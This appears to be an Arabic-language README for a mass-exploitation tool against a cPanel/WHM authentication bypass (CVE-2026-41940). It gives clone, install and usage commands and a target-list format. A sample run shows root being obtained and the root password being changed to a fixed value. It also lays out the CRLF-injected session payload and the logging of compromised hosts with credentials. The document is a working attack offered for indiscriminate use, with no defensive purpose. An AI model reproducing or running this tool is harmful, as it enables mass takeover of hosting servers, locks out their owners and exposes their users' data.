
ماسح ضخم وأداة استغلال جماعي لـ CVE-2026-41940 على cPanel/WHM، مصمم للتحقق الآلي من الأهداف وتنفيذ عالي السرعة متعدد الخيوط.
CVE-2026-41940 هي ثغرة حرجة لتجاوز المصادقة في WHM/cPanel تسمح للمهاجمين بتجاوز المصادقة والحصول على صلاحيات الجذر (root) على الخادم دون بيانات اعتماد صالحة. تستغل الثغرة حقن CRLF في آلية إدارة الجلسات لحقن معاملات جلسة ضارة.
توفر هذه الأداة قدرات الاستغلال الجماعي مع دعم تعدد الخيوط لاختبار أهداف متعددة في وقت واحد، مع كشف ذكي للنجاح وتصفية تلقائية للأهداف غير الصالحة.
| الميزة | الوصف |
|---|---|
| ✅ الاستغلال الجماعي | مسح واستغلال أهداف متعددة من ملف قائمة |
| 🚀 تعدد الخيوط | عدد خيوط قابل للتكوين لفحص أسرع (الافتراضي: 15) |
| 🔐 تغيير كلمة المرور تلقائياً | تغيير كلمة مرور الجذر إلى Jenderal92 عند نجاح الاستغلال |
| 🛡️ كشف ذكي للنجاح | كشف تلقائي لتنسيقات استجابة WHM API المتنوعة |
| ⚠️ تصفية أخطاء الترخيص | استبعاد الأهداف ذات أخطاء الترخيص غير الصالحة/غير القابلة للقراءة |
| 📝 مخرجات منظمة | حفظ النجاحات المؤكدة فقط بتنسيق domain:port|user|pass |
| 🛡️ دعم SSL/TLS | التعامل مع الشهادات الذاتية التوقيع تلقائياً |
| 🔄 إدارة الجلسات | استخراج الجلسات تلقائياً، حقن الكوكيز، ومعالجة الرموز المميزة |
| ⏱️ التحكم في المهلة | مهلة اتصال قابلة للتكوين (الافتراضي: 15 ثانية) |
| 🔍 فحص ما قبل الاتصال | التحقق من توفر المنفذ قبل محاولة الاستغلال |
| 📊 تقدم فوري | عرض تفاصيل التقدم لكل مرحلة استغلال |
pip install requests urllib3 futures
أو استخدم requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# استنساخ المستودع
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# تثبيت التبعيات
pip install -r requirements.txt
# جعل الملف قابل للتنفيذ (لينكس/ماك)
chmod +x CVE-2026-41940.py
أنشئ ملف targets.txt بهدف واحد لكل سطر:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
ملاحظة: المنفذ
2087هو منفذ WHM الافتراضي. إذا لم يُحدد، سيستخدم المنفذ 2087 تلقائياً. ستتم إضافة بادئة HTTP/HTTPS تلقائياً إذا كانت مفقودة.
python2 CVE-2026-41940.py targets.txt
# استخدام 5 خيوط متزامنة
python2 CVE-2026-41940.py targets.txt --threads 5
# استخدام 20 خيط للفحص الأسرع
python2 CVE-2026-41940.py targets.txt --threads 20
# تجاوز رأس Host لجميع الأهداف
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# تعيين المهلة إلى 30 ثانية للاتصالات البطيئة
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| الوسيطة | الوصف | القيمة الافتراضية | مطلوبة |
|---|---|---|---|
list_file | ملف يحتوي على قائمة الأهداف (واحد لكل سطر) | - | ✅ نعم |
--threads | عدد الخيوط المتزامنة | 15 | ❌ لا |
--hostname | تجاوز رأس Host لجميع الأهداف | اكتشاف تلقائي | ❌ لا |
--timeout | مهلة الاتصال بالثواني | 15 | ❌ لا |
res.txt)يتم حفظ النجاحات المؤكدة فقط. تُستبعد الأهداف ذات أخطاء الترخيص، أو فشل تغيير كلمة المرور، أو مشاكل الاتصال تلقائياً.
التنسيق:
domain:port|root|Jenderal92
مثال للمخرجات:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
لن يتم حفظ الأهداف التالية في res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
يتكون الاستغلال من 4 مراحل رئيسية مع تحقق ذكي:
[1] minting a preauth session...
/login/?login_only=1 ببيانات اعتماد غير صالحةwhostmgrsession من استجابة الخادم,<obhex>[2] sending the CRLF injection...
Authorization: Basic يحتوي على حمولة ضارةroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) بحقن معاملات جلسة مزيفةLocation يحتوي على cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts باستخدام الكوكي المُعالجdo_token_denied في WHM[4] verifying we're WHM root...
/json-api/version للتحقق من الوصول على مستوى الجذر/json-api/passwd لتغيير كلمة مرور الجذر إلى Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (الإصدارات الأقدم){"result": [{"status": 1}]} (تنسيق قديم)تقوم الأداة تلقائياً باستبعاد:
{"status": 0, "statusmsg": "Cannot Read License File"}